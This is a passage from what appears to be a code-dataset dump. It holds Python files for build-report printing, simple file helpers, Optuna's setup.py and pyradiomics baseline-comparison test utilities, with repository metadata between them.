prepend_columns + unique_supported_toolchains table_printer = PrettyTable(columns) for col in columns: table_printer.align[col] = "c" table_printer.align["Target"] = "l" perm_counter = 0 target_counter = 0 target_names = [] if release_targets: target_names = [x[0] for x in release_targets] else: target_names = TARGET_NAMES for target in sorted(target_names): if platform_filter is not None: if re.search(platform_filter, target) is None: continue target_counter += 1 row = [target] for version in RELEASE_VERSIONS: if target in version_release_target_names[version]: text = "Supported" else: text = "-" row.append(text) for unique_toolchain in unique_supported_toolchains: if (unique_toolchain in TARGET_MAP[target].supported_toolchains or (unique_toolchain == "ARMC6" and "ARM" in TARGET_MAP[target].supported_toolchains)): text = "Supported" perm_counter += 1 else: text = "-" row.append(text) table_printer.add_row(row) result = table_printer.get_html_string() if verbose_html \ else table_printer.get_string() result += "\n" result += "Supported targets: %d\n"% (target_counter) if target_counter == 1: result += "Supported toolchains: %d"% (perm_counter) return result def get_target_supported_toolchains(target): """ Returns target supported toolchains list Positional arguments: target - the target to get the supported toolchains of """ return TARGET_MAP[target].supported_toolchains if target in TARGET_MAP \ else None def print_build_results(result_list, build_name): """ Generate result string for build results Positional arguments: result_list - the list of results to print build_name - the name of the build we are printing result for """ result = "" if len(result_list) > 0: result += build_name + "\n" result += "\n".join([" * %s" % f for f in result_list]) result += "\n" return result def print_build_memory_usage(report): """ Generate result table with memory usage values for build results Aggregates (puts together) reports obtained from self.get_memory_summary() Positional arguments: report - Report generated during build procedure. """ from prettytable import PrettyTable columns_text = ['name', 'target', 'toolchain'] columns_int = ['static_ram', 'total_flash'] table = PrettyTable(columns_text + columns_int) for col in columns_text: table.align[col] = 'l' for col in columns_int: table.align[col] = 'r' for target in report: for toolchain in report[target]: for name in report[target][toolchain]: for dlist in report[target][toolchain][name]: for dlistelem in dlist: record = dlist[dlistelem] if 'memory_usage' in record and record['memory_usage']: row = [ record['description'], record['target_name'], record['toolchain_name'], record['memory_usage'][-1]['summary'][ 'static_ram'], record['memory_usage'][-1]['summary'][ 'total_flash'], ] table.add_row(row) result = "Memory map breakdown for built projects (values in Bytes):\n" result += table.get_string(sortby='name') return result def write_build_report(build_report, template_filename, filename): """Write a build report to disk using a template file Positional arguments: build_report - a report generated by the build system template_filename - a file that contains the template for the style of build report filename - the location on disk to write the file to """ build_report_failing = [] build_report_passing = [] for report in build_report: if len(report["failing"]) > 0: build_report_failing.append(report) else: build_report_passing.append(report) env = Environment(extensions=['jinja2.ext.with_']) env.loader = FileSystemLoader('ci_templates') template = env.get_template(template_filename) with open(filename, 'w+') as placeholder: placeholder.write(template.render( failing_builds=build_report_failing, passing_builds=build_report_passing)) def merge_build_data(filename, toolchain_report, app_type): path_to_file = dirname(abspath(filename)) try: build_data = load(open(filename)) except (IOError, ValueError): build_data = {'builds': []} for tgt in toolchain_report.values(): for tc in tgt.values(): for project in tc.values(): for build in project: try: build[0]['elf'] = relpath(build[0]['elf'], path_to_file) build[0]['bin'] = relpath(build[0]['bin'], path_to_file) except KeyError: pass if 'type' not in build[0]: build[0]['type'] = app_type build_data['builds'].append(build[0]) dump(build_data, open(filename, "wb"), indent=4, separators=(',', ': '))

false

true

790b1bcd69de3a7ca25a03a56710c8f20a956051

1,088

py

Python

bibli/arquivo/__init__.py

EduardoPessanha/Python

ac248a14288da2dd9c482afea30468c21db5460f

[ "MIT" ]

null

bibli/arquivo/__init__.py

EduardoPessanha/Python

ac248a14288da2dd9c482afea30468c21db5460f

[ "MIT" ]

1

2021-11-16T16:12:41.000Z

2021-11-16T16:15:08.000Z

bibli/arquivo/__init__.py

EduardoPessanha/Python

ac248a14288da2dd9c482afea30468c21db5460f

[ "MIT" ]

null

def testaArq(arq): """ -> Verifica se existe o arquivo arq :arq: Nome do arquivo a ser testado. :return: retorna True se o arquivo for encontrado, caso contrário False """ try: a = open(arq) except FileNotFoundError: # O arquivo não foi encontrado print('Arquivo não encontrado!') return False else: return True def criaArq(arq=''): """ -> Cria um arquivo de texto, caso ele não exista. :param arq: Nome do arquivo. :return: """ try: a = open(arq, 'xt') except FileExistsError: print(f'ERRO: o arquivo \"{arq}\" já existe!') else: print(f'O arquivo \"{arq}\" foi criado com sucesso!') finally: a.close() return def leArq(arq=''): """ -> Abre e mostra os itens de um arquivo texto. :param arq: Nome do arquivo. :return: """ return def editaArq(arq): """ -> Abre um arquivo de texto e adiciona novo item no final do arquivo. :param arq: Nome do arquivo. :return: """ return

21.333333

61

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def testaArq(arq): try: a = open(arq) except FileNotFoundError: print('Arquivo não encontrado!') return False else: return True def criaArq(arq=''): try: a = open(arq, 'xt') except FileExistsError: print(f'ERRO: o arquivo \"{arq}\" já existe!') else: print(f'O arquivo \"{arq}\" foi criado com sucesso!') finally: a.close() return def leArq(arq=''): return def editaArq(arq): return

true

790b1c298f3504e67b502f6aa388aaf3fd5051a2

7,862

py

Python

setup.py

PhilipMay/optuna

81840c2e08f452bd5ac959afaca0fee006bdb44e

[ "MIT" ]

null

setup.py

PhilipMay/optuna

81840c2e08f452bd5ac959afaca0fee006bdb44e

[ "MIT" ]

null

setup.py

PhilipMay/optuna

81840c2e08f452bd5ac959afaca0fee006bdb44e

[ "MIT" ]

null

import os import sys from typing import Dict from typing import List from typing import Optional import pkg_resources from setuptools import find_packages from setuptools import setup def get_version() -> str: version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py") with open(version_filepath) as f: for line in f: if line.startswith("__version__"): return line.strip().split()[-1][1:-1] assert False def get_long_description() -> str: readme_filepath = os.path.join(os.path.dirname(__file__), "README.md") with open(readme_filepath) as f: return f.read() def get_install_requires() -> List[str]: return [ "alembic", "cliff", "cmaes>=0.6.0", "colorlog", "joblib", "numpy", "packaging>=20.0", "scipy!=1.4.0", "sqlalchemy>=1.1.0", "tqdm", ] def get_tests_require() -> List[str]: return get_extras_require()["testing"] def get_extras_require() -> Dict[str, List[str]]: requirements = { "checking": ["black", "hacking", "isort", "mypy==0.782", "blackdoc"], "codecov": ["codecov", "pytest-cov"], "doctest": [ "cma", "matplotlib>=3.0.0", "pandas", "plotly>=4.0.0", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "mlflow", ], "document": [ # TODO(hvy): Unpin `sphinx` version after: # https://github.com/sphinx-doc/sphinx/issues/8105. "sphinx==3.0.4", # As reported in: https://github.com/readthedocs/sphinx_rtd_theme/issues/949, # `sphinx_rtd_theme` 0.5.0 is still not compatible with `sphinx` >= 3.0. "sphinx_rtd_theme<0.5.0", "sphinx-gallery", "sphinx-plotly-directive", "pillow", "matplotlib", "scikit-learn", ], "example": [ "catboost", "chainer", "lightgbm", "mlflow", "mpi4py", "mxnet", "nbval", "scikit-image", "scikit-learn>=0.19.0,<0.23.0", # optuna/visualization/param_importances.py. "xgboost", "keras", "tensorflow>=2.0.0", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "thop", "skorch", "stable-baselines3>=0.7.0", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + ( [ "allennlp==1.2.0", "fastai<2", "dask[dataframe]", "dask-ml", ] if sys.version_info[:2] < (3, 8) else [] ), "experimental": ["redis"], "testing": [ # TODO(toshihikoyanase): Remove the version constraint after resolving the issue # https://github.com/optuna/optuna/issues/1000. "bokeh<2.0.0", "chainer>=5.0.0", "cma", "fakeredis", "lightgbm", "matplotlib>=3.0.0", "mlflow", "mpi4py", "mxnet", "pandas", "plotly>=4.0.0", "pytest", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "xgboost", "keras", "tensorflow", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "skorch", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + (["allennlp==1.2.0", "fastai<2"] if sys.version_info[:2] < (3, 8) else []), "tests": ["fakeredis", "pytest"], "optional": [ "bokeh<2.0.0", # optuna/cli.py, optuna/dashboard.py. "matplotlib>=3.0.0", # optuna/visualization/matplotlib "pandas", # optuna/study.py "plotly>=4.0.0", # optuna/visualization. "redis", # optuna/storages/redis.py. "scikit-learn>=0.19.0,<0.23.0", # optuna/visualization/param_importances.py. ], "integration": [ # TODO(toshihikoyanase): Remove the version constraint after resolving the issue # https://github.com/optuna/optuna/issues/1000. "chainer>=5.0.0", "cma", "lightgbm", "mlflow", "mpi4py", "mxnet", "pandas", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "xgboost", "keras", "tensorflow", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "skorch", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + (["allennlp==1.2.0", "fastai<2"] if sys.version_info[:2] < (3, 8) else []), } return requirements def find_any_distribution(pkgs: List[str]) -> Optional[pkg_resources.Distribution]: for pkg in pkgs: try: return pkg_resources.get_distribution(pkg) except pkg_resources.DistributionNotFound: pass return None setup( name="optuna", version=get_version(), description="A hyperparameter optimization framework", long_description=get_long_description(), long_description_content_type="text/markdown", author="Takuya Akiba", author_email="akiba@preferred.jp", url="https://optuna.org/", packages=find_packages(), package_data={ "optuna": [ "storages/_rdb/alembic.ini", "storages/_rdb/alembic/*.*", "storages/_rdb/alembic/versions/*.*", "py.typed", ] }, python_requires=">=3.6", install_requires=get_install_requires(), tests_require=get_tests_require(), extras_require=get_extras_require(), entry_points={ "console_scripts": ["optuna = optuna.cli:main"], "optuna.command": [ "create-study = optuna.cli:_CreateStudy", "delete-study = optuna.cli:_DeleteStudy", "study set-user-attr = optuna.cli:_StudySetUserAttribute", "studies = optuna.cli:_Studies", "dashboard = optuna.cli:_Dashboard", "study optimize = optuna.cli:_StudyOptimize", "storage upgrade = optuna.cli:_StorageUpgrade", ], }, classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Science/Research", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3 :: Only", "Topic :: Scientific/Engineering", "Topic :: Scientific/Engineering :: Mathematics", "Topic :: Scientific/Engineering :: Artificial Intelligence", "Topic :: Software Development", "Topic :: Software Development :: Libraries", "Topic :: Software Development :: Libraries :: Python Modules", ], )

31.574297

92

0.512338

import os import sys from typing import Dict from typing import List from typing import Optional import pkg_resources from setuptools import find_packages from setuptools import setup def get_version() -> str: version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py") with open(version_filepath) as f: for line in f: if line.startswith("__version__"): return line.strip().split()[-1][1:-1] assert False def get_long_description() -> str: readme_filepath = os.path.join(os.path.dirname(__file__), "README.md") with open(readme_filepath) as f: return f.read() def get_install_requires() -> List[str]: return [ "alembic", "cliff", "cmaes>=0.6.0", "colorlog", "joblib", "numpy", "packaging>=20.0", "scipy!=1.4.0", "sqlalchemy>=1.1.0", "tqdm", ] def get_tests_require() -> List[str]: return get_extras_require()["testing"] def get_extras_require() -> Dict[str, List[str]]: requirements = { "checking": ["black", "hacking", "isort", "mypy==0.782", "blackdoc"], "codecov": ["codecov", "pytest-cov"], "doctest": [ "cma", "matplotlib>=3.0.0", "pandas", "plotly>=4.0.0", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "mlflow", ], "document": [ "sphinx==3.0.4", "sphinx_rtd_theme<0.5.0", "sphinx-gallery", "sphinx-plotly-directive", "pillow", "matplotlib", "scikit-learn", ], "example": [ "catboost", "chainer", "lightgbm", "mlflow", "mpi4py", "mxnet", "nbval", "scikit-image", "scikit-learn>=0.19.0,<0.23.0", "xgboost", "keras", "tensorflow>=2.0.0", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "thop", "skorch", "stable-baselines3>=0.7.0", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + ( [ "allennlp==1.2.0", "fastai<2", "dask[dataframe]", "dask-ml", ] if sys.version_info[:2] < (3, 8) else [] ), "experimental": ["redis"], "testing": [ "bokeh<2.0.0", "chainer>=5.0.0", "cma", "fakeredis", "lightgbm", "matplotlib>=3.0.0", "mlflow", "mpi4py", "mxnet", "pandas", "plotly>=4.0.0", "pytest", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "xgboost", "keras", "tensorflow", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "skorch", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + (["allennlp==1.2.0", "fastai<2"] if sys.version_info[:2] < (3, 8) else []), "tests": ["fakeredis", "pytest"], "optional": [ "bokeh<2.0.0", "matplotlib>=3.0.0", "pandas", "plotly>=4.0.0", "redis", "scikit-learn>=0.19.0,<0.23.0", ], "integration": [ "chainer>=5.0.0", "cma", "lightgbm", "mlflow", "mpi4py", "mxnet", "pandas", "scikit-learn>=0.19.0,<0.23.0", "scikit-optimize", "xgboost", "keras", "tensorflow", "tensorflow-datasets", "pytorch-ignite", "pytorch-lightning>=0.8.1", "skorch", "catalyst", ] + ( ["torch==1.7.0", "torchvision==0.8.1", "torchaudio==0.7.0"] if sys.platform == "darwin" else ["torch==1.7.0+cpu", "torchvision==0.8.1+cpu", "torchaudio==0.7.0"] ) + (["allennlp==1.2.0", "fastai<2"] if sys.version_info[:2] < (3, 8) else []), } return requirements def find_any_distribution(pkgs: List[str]) -> Optional[pkg_resources.Distribution]: for pkg in pkgs: try: return pkg_resources.get_distribution(pkg) except pkg_resources.DistributionNotFound: pass return None setup( name="optuna", version=get_version(), description="A hyperparameter optimization framework", long_description=get_long_description(), long_description_content_type="text/markdown", author="Takuya Akiba", author_email="akiba@preferred.jp", url="https://optuna.org/", packages=find_packages(), package_data={ "optuna": [ "storages/_rdb/alembic.ini", "storages/_rdb/alembic/*.*", "storages/_rdb/alembic/versions/*.*", "py.typed", ] }, python_requires=">=3.6", install_requires=get_install_requires(), tests_require=get_tests_require(), extras_require=get_extras_require(), entry_points={ "console_scripts": ["optuna = optuna.cli:main"], "optuna.command": [ "create-study = optuna.cli:_CreateStudy", "delete-study = optuna.cli:_DeleteStudy", "study set-user-attr = optuna.cli:_StudySetUserAttribute", "studies = optuna.cli:_Studies", "dashboard = optuna.cli:_Dashboard", "study optimize = optuna.cli:_StudyOptimize", "storage upgrade = optuna.cli:_StorageUpgrade", ], }, classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Science/Research", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3 :: Only", "Topic :: Scientific/Engineering", "Topic :: Scientific/Engineering :: Mathematics", "Topic :: Scientific/Engineering :: Artificial Intelligence", "Topic :: Software Development", "Topic :: Software Development :: Libraries", "Topic :: Software Development :: Libraries :: Python Modules", ], )

true

790b1cc12df560ef9f4e3ce6bcdbf341f94a9bba

14,093

py

Python

tests/testUtils.py

drmaxchen/pyradio

f2e46856425cfb233d29d391199bfb9b85824b06

[ "BSD-3-Clause" ]

2

2020-09-11T01:04:07.000Z

2020-09-11T01:35:46.000Z

tests/testUtils.py

drmaxchen/pyradio

f2e46856425cfb233d29d391199bfb9b85824b06

[ "BSD-3-Clause" ]

null

tests/testUtils.py

drmaxchen/pyradio

f2e46856425cfb233d29d391199bfb9b85824b06

[ "BSD-3-Clause" ]

1

2020-09-11T01:04:46.000Z

import ast import csv import logging import math import os from nose_parameterized import parameterized import numpy import SimpleITK as sitk import six from radiomics import getTestCase, imageoperations # Get the logger. This is done outside the class, as it is needed by both the class and the custom_name_func logger = logging.getLogger('radiomics.testing') TEST_CASES = ('brain1', 'brain2', 'breast1', 'lung1', 'lung2') def custom_name_func(testcase_func, param_num, param): """ A custom test name function that will ensure that the tests are run such that they're batched with all tests for a given data set are run together, avoiding re-reading the data more than necessary. Tests are run in alphabetical order, so put the test case first. An alternate option is to right justify the test number (param_num) with zeroes so that the numerical and alphabetical orders are the same. Not providing this method when there are more than 10 tests results in tests running in an order similar to: test_*.test_scenario_0_* test_*.test_scenario_10_* test_*.test_scenario_11_* ... test_*.test_scenario_19_* test_*.test_scenario_1_* test_*.test_scenario_20_* """ global logger logger.debug('custom_name_func: function name = %s, param_num = {0:0>3}, param.args = %s'.format(param_num), testcase_func.__name__, param.args) return str("%s_%s" % ( testcase_func.__name__, parameterized.to_safe_name("_".join(str(x) for x in param.args)), )) class RadiomicsTestUtils: """ This utility class reads in and stores the baseline files stored in 'data\baseline' (one per feature class) It provides utility methods to get the baseline feature value for a feature class and compare it to the result generated by the test. """ def __init__(self): self._logger = logging.getLogger('radiomics.testing.utils') self._logger.debug('RadiomicsTestUtils') # the image and mask volumes self._image = None self._mask = None self._current_image = None self._current_mask = None self._bb = None self._imageType = None # set up file paths self._dataDir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "data") self._baselineDir = os.path.join(self._dataDir, 'baseline') self._tests = set() self._test = None # Test, specifies an image and mask and some configuration (settings) self._testCase = None # Test image and mask to use in configured test self._testedSet = set() self._baseline = {} self.readBaselineFiles() self._current_config = {} self._featureClassName = None self._results = {} self._diffs = {} for test in self.getTests(): self._results[test] = {} self._diffs[test] = {} def readBaselineFiles(self): """ Reads the 'baseline' folder contained in dataDir. All files starting with 'baseline_' are read as baseline files. These files should therefore be named as follows: 'baseline_<className>.csv'. """ baselineFiles = [fileName for fileName in os.listdir(self._baselineDir) if os.path.isfile(os.path.join(self._baselineDir, fileName)) and fileName.startswith('baseline_')] assert len(baselineFiles) > 0 for baselineFile in baselineFiles: newBaseline = PyRadiomicsBaseline.readBaselineFile(os.path.join(self._baselineDir, baselineFile)) cls = newBaseline.cls self._logger.debug('Read baseline for class %s', cls) self._baseline[cls] = newBaseline self._tests |= newBaseline.tests def getTests(self): """ Return all the tests for which there are baseline information. """ return self._tests def getFeatureNames(self, className, test): """ Gets all features for which a baseline value is available for the current class and test case. Returns a list containing the feature names (without image type and feature class specifiers, i.e. just the feature name). """ if className not in self._baseline: return None # No baseline available for specified class return self._baseline[className].getTestFeatures(test) def setFeatureClassAndTestCase(self, className, test): """ Set testing suite to specified testCase and feature class. Throws an assertion error if either class or test case are not recognized. These have to be set here together, as the settings with which the test case has to be loaded are defined per feature class in the baseline (extracted from provenance information). Only (re)loads an image/mask if the test case has changed, or the change of feature class causes a change in test settings. If feature class and test case are unchanged, nothing is reloaded and function returns False. If either feature class or test case is changed, function returns True. """ global TEST_CASES if self._featureClassName == className and self._test == test: return False self._test = test self._testedSet.add(self._test) # First set featureClass if necessary, because if settings have changed, testCase needs te be reloaded if self._featureClassName != className: self._logger.debug('Setting feature class name to %s', className) assert className in self._baseline.keys() # Check if a baseline has been read for this class self._featureClassName = className # Check if test settings have changed if self._current_config != self._baseline[className].getTestConfig(test): self._current_config = self._baseline[className].getTestConfig(test) self._testCase = None # forces image to be reloaded (as settings have changed) # Next, set testCase if necessary if self._testCase != self._current_config['TestCase']: self._testCase = self._current_config['TestCase'] self._logger.info("Reading the image and mask for test case %s", self._testCase) assert self._current_config['TestCase'] in TEST_CASES imageName, maskName = getTestCase(self._testCase) assert imageName is not None assert maskName is not None self._image = sitk.ReadImage(imageName) self._mask = sitk.ReadImage(maskName) if 'ImageHash' in self._current_config: assert sitk.Hash(self._image) == self._current_config['ImageHash'] if 'MaskHash' in self._current_config: assert sitk.Hash(self._mask) == self._current_config['MaskHash'] settings = self._current_config.get('Settings', {}) interpolator = settings.get('interpolator', sitk.sitkBSpline) resampledPixelSpacing = settings.get('resampledPixelSpacing', None) if interpolator is not None and resampledPixelSpacing is not None: self._image, self._mask = imageoperations.resampleImage(self._image, self._mask, resampledPixelSpacing, interpolator, settings.get('label', 1), settings.get('padDistance', 5)) self._bb, correctedMask = imageoperations.checkMask(self._image, self._mask, **settings) if correctedMask is not None: self._mask = correctedMask self._imageType = None return True def getImage(self, imageType): if self._imageType != imageType: self._applyFilter(imageType) return self._current_image def getMask(self, imageType): if self._imageType != imageType: self._applyFilter(imageType) return self._current_mask def _applyFilter(self, imageType): if imageType == 'original': self._current_image, self._current_mask = imageoperations.cropToTumorMask(self._image, self._mask, self._bb) else: raise NotImplementedError() self._imageType = imageType def getSettings(self): return self._current_config.get('Settings', {}) def checkResult(self, featureName, value): """ Use utility methods to get and test the results against the expected baseline value for this key. """ longName = '_'.join(featureName) if value is None: self._diffs[self._test][longName] = None self._results[self._test][longName] = None assert (value is not None) if math.isnan(value): self._diffs[self._test][longName] = numpy.nan self._results[self._test][longName] = numpy.nan assert (not math.isnan(value)) # save the result using the baseline class and feature names self._logger.debug('checkResults: featureName = %s', featureName) self._results[self._test][longName] = value baselineValue = self._baseline[self._featureClassName].getBaselineValue(self._test, longName) assert baselineValue is not None baselineValue = float(baselineValue) self._logger.debug('checkResults: for featureName %s, got baseline value = %f', featureName, baselineValue) if baselineValue == 0.0: # avoid divide by zero, the difference is either 0% if the value is also zero, or 100% if value - baselineValue == 0.0: percentDiff = 0.0 else: percentDiff = 1.0 else: percentDiff = abs(1.0 - (value / baselineValue)) # save the difference self._diffs[self._test][longName] = percentDiff # check for a less than three percent difference if (percentDiff >= 0.03): self._logger.error('checkResult %s, baseline value = %f, calculated = %f, diff = %f%%', featureName, float(baselineValue), value, percentDiff * 100) assert (percentDiff < 0.03) def getResults(self): return self._results def getDiffs(self): return self._diffs def getDataDir(self): return self._dataDir def writeCSV(self, data, fileName): """ Write out data in a csv file. Assumes a data structure with: {'id1' : {'f1':n1, 'f2':n2}, 'id2' : {'f1':n3, 'f2':n4}} """ # Get the headers from the first testCase in _testedSet # If no tests were run, the length of _testedSet will be 0, and no files should be written if len(self._testedSet) > 0: with open(fileName, 'w') as csvFile: csvFileWriter = csv.writer(csvFile, lineterminator='\n') testedCases = sorted(self._testedSet) header = sorted(data[testedCases[0]].keys()) header = ['testCase'] + header csvFileWriter.writerow(header) for testCase in testedCases: thisCase = data[testCase] thisCase['testCase'] = testCase row = [] for h in header: row = row + [thisCase.get(h, "N/A")] csvFileWriter.writerow(row) self._logger.info('Wrote to file %s', fileName) else: self._logger.info('No test cases run, aborting file write to %s', fileName) class PyRadiomicsBaseline: def __init__(self, featureClassName): self.logger = logging.getLogger('radiomics.testing.baseline') self.cls = featureClassName self.configuration = {} self.baseline = {} self.tests = set() @classmethod def readBaselineFile(cls, baselineFile): featureClassName = os.path.basename(baselineFile)[9:-4] new_baseline = cls(featureClassName) new_baseline.logger.debug('Reading baseline for class %s', new_baseline.cls) with open(baselineFile, 'r' if six.PY3 else 'rb') as baselineReader: csvReader = csv.reader(baselineReader) tests = six.next(csvReader)[1:] for case in tests: new_baseline.configuration[case] = {} new_baseline.baseline[case] = {} for testRow in csvReader: for case_idx, case in enumerate(tests, start=1): if 'general_info' in testRow[0]: new_baseline.configuration[case][testRow[0]] = testRow[case_idx] else: new_baseline.baseline[case][testRow[0]] = testRow[case_idx] new_baseline.tests = set(tests) return new_baseline def getTestConfig(self, test): if test not in self.configuration: return {} # This test is not present in the baseline for this class config = { 'TestCase': self.configuration[test].get('general_info_TestCase', None), 'Settings': ast.literal_eval(self.configuration[test].get('general_info_GeneralSettings', '{}')), } if 'general_info_ImageHash' in self.configuration[test]: config['ImageHash'] = self.configuration[test]['general_info_ImageHash'] if 'general_info_MaskHash' in self.configuration[test]: config['MaskHash'] = self.configuration[test]['general_info_MaskHash'] if config['TestCase'] is None: self.logger.error('Missing key "general_info_TestCase". Cannot configure!') return None return config def getTestFeatures(self, test): """ Gets all features for which a baseline value is available for the current class and test case. Returns a list containing the feature names. """ if test not in self.baseline: return None # This test is not present in the baseline for this class return list(self.baseline[test].keys()) def getBaselineValue(self, test, featureName): if test not in self.baseline: return None return self.baseline[test].get(featureName, None) def writeBaselineFile(self, baselineDir): baselineFile = os.path.join(baselineDir, 'baseline_%s.csv' % self.cls) testCases = list(self.baseline.keys()) with open(baselineFile, 'wb') as baseline: csvWriter = csv.writer(baseline) header = ['featureName'] + testCases csvWriter.writerow(header) config = self.configuration[testCases[0]].keys() for c in config: row = [c] for testCase in testCases: row.append(str(self.configuration[testCase].get(c, ''))) csvWriter.writerow(row) features = self.baseline[testCases[0]].keys() for f in features: row = [f] for testCase in testCases: row.append(str(self.baseline[testCase].get(f, ''))) csvWriter.writerow(row)

36.228792

122

0.67679

import ast import csv import logging import math import os from nose_parameterized import parameterized import numpy import SimpleITK as sitk import six from radiomics import getTestCase, imageoperations logger = logging.getLogger('radiomics.testing') TEST_CASES = ('brain1', 'brain2', 'breast1', 'lung1', 'lung2') def custom_name_func(testcase_func, param_num, param): global logger logger.debug('custom_name_func: function name = %s, param_num = {0:0>3}, param.args = %s'.format(param_num), testcase_func.__name__, param.args) return str("%s_%s" % ( testcase_func.__name__, parameterized.to_safe_name("_".join(str(x) for x in param.args)), )) class RadiomicsTestUtils: def __init__(self): self._logger = logging.getLogger('radiomics.testing.utils') self._logger.debug('RadiomicsTestUtils') self._image = None self._mask = None self._current_image = None self._current_mask = None self._bb = None self._imageType = None self._dataDir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "data") self._baselineDir = os.path.join(self._dataDir, 'baseline') self._tests = set() self._test = None self._testCase = None self._testedSet = set() self._baseline = {} self.readBaselineFiles() self._current_config = {} self._featureClassName = None self._results = {} self._diffs = {} for test in self.getTests(): self._results[test] = {} self._diffs[test] = {} def readBaselineFiles(self): baselineFiles = [fileName for fileName in os.listdir(self._baselineDir) if os.path.isfile(os.path.join(self._baselineDir, fileName)) and fileName.startswith('baseline_')] assert len(baselineFiles) > 0 for baselineFile in baselineFiles: newBaseline = PyRadiomicsBaseline.readBaselineFile(os.path.join(self._baselineDir, baselineFile)) cls = newBaseline.cls self._logger.debug('Read baseline for class %s', cls) self._baseline[cls] = newBaseline self._tests |= newBaseline.tests def getTests(self): return self._tests def getFeatureNames(self, className, test): if className not in self._baseline: return None return self._baseline[className].getTestFeatures(test) def setFeatureClassAndTestCase(self, className, test): global TEST_CASES if self._featureClassName == className and self._test == test: return False self._test = test self._testedSet.add(self._test) if self._featureClassName != className: self._logger.debug('Setting feature class name to %s', className) assert className in self._baseline.keys() self._featureClassName = className if self._current_config != self._baseline[className].getTestConfig(test): self._current_config = self._baseline[className].getTestConfig(test) self._testCase = None if self._testCase != self._current_config['TestCase']: self._testCase = self._current_config['TestCase'] self._logger.info("Reading the image and mask for test case %s", self._testCase) assert self._current_config['TestCase'] in TEST_CASES imageName, maskName = getTestCase(self._testCase) assert imageName is not None assert maskName is not None self._image = sitk.ReadImage(imageName) self._mask = sitk.ReadImage(maskName) if 'ImageHash' in self._current_config: assert sitk.Hash(self._image) == self._current_config['ImageHash'] if 'MaskHash' in self._current_config: assert sitk.Hash(self._mask) == self._current_config['MaskHash'] settings = self._current_config.get('Settings', {}) interpolator = settings.get('interpolator', sitk.sitkBSpline) resampledPixelSpacing = settings.get('resampledPixelSpacing', None) if interpolator is not None and resampledPixelSpacing is not None: self._image, self._mask = imageoperations.resampleImage(self._image, self._mask, resampledPixelSpacing, interpolator, settings.get('label', 1), settings.get('padDistance', 5)) self._bb, correctedMask = imageoperations.checkMask(self._image, self._mask, **settings) if correctedMask is not None: self._mask = correctedMask self._imageType = None return True def getImage(self, imageType): if self._imageType != imageType: self._applyFilter(imageType) return self._current_image def getMask(self, imageType): if self._imageType != imageType: self._applyFilter(imageType) return self._current_mask def _applyFilter(self, imageType): if imageType == 'original': self._current_image, self._current_mask = imageoperations.cropToTumorMask(self._image, self._mask, self._bb) else: raise NotImplementedError() self._imageType = imageType def getSettings(self): return self._current_config.get('Settings', {}) def checkResult(self, featureName, value): longName = '_'.join(featureName) if value is None: self._diffs[self._test][longName] = None self._results[self._test][longName] = None assert (value is not None) if math.isnan(value): self._diffs[self._test][longName] = numpy.nan self._results[self._test][longName] = numpy.nan assert (not math.isnan(value)) self._logger.debug('checkResults: featureName = %s', featureName) self._results[self._test][longName] = value baselineValue = self._baseline[self._featureClassName].getBaselineValue(self._test, longName) assert baselineValue is not None baselineValue = float(baselineValue) self._logger.debug('checkResults: for featureName %s, got baseline value = %f', featureName, baselineValue) if baselineValue == 0.0: if value - baselineValue == 0.0: percentDiff = 0.0 else: percentDiff = 1.0 else: percentDiff = abs(1.0 - (value / baselineValue)) self._diffs[self._test][longName] = percentDiff if (percentDiff >= 0.03): self._logger.error('checkResult %s, baseline value = %f, calculated = %f, diff = %f%%', featureName, float(baselineValue), value, percentDiff * 100) assert (percentDiff < 0.03) def getResults(self): return self._results def getDiffs(self): return self._diffs def getDataDir(self): return self._dataDir def writeCSV(self, data, fileName): if len(self._testedSet) > 0: with open(fileName, 'w') as csvFile: csvFileWriter = csv.writer(csvFile, lineterminator='\n') testedCases = sorted(self._testedSet) header = sorted(data[testedCases[0]].keys()) header = ['testCase'] + header csvFileWriter.writerow(header) for testCase in testedCases: thisCase = data[testCase] thisCase['testCase'] = testCase row = [] for h in header: row = row + [thisCase.get(h, "N/A")] csvFileWriter.writerow(row) self._logger.info('Wrote to file %s', fileName) else: self._logger.info('No test cases run, aborting 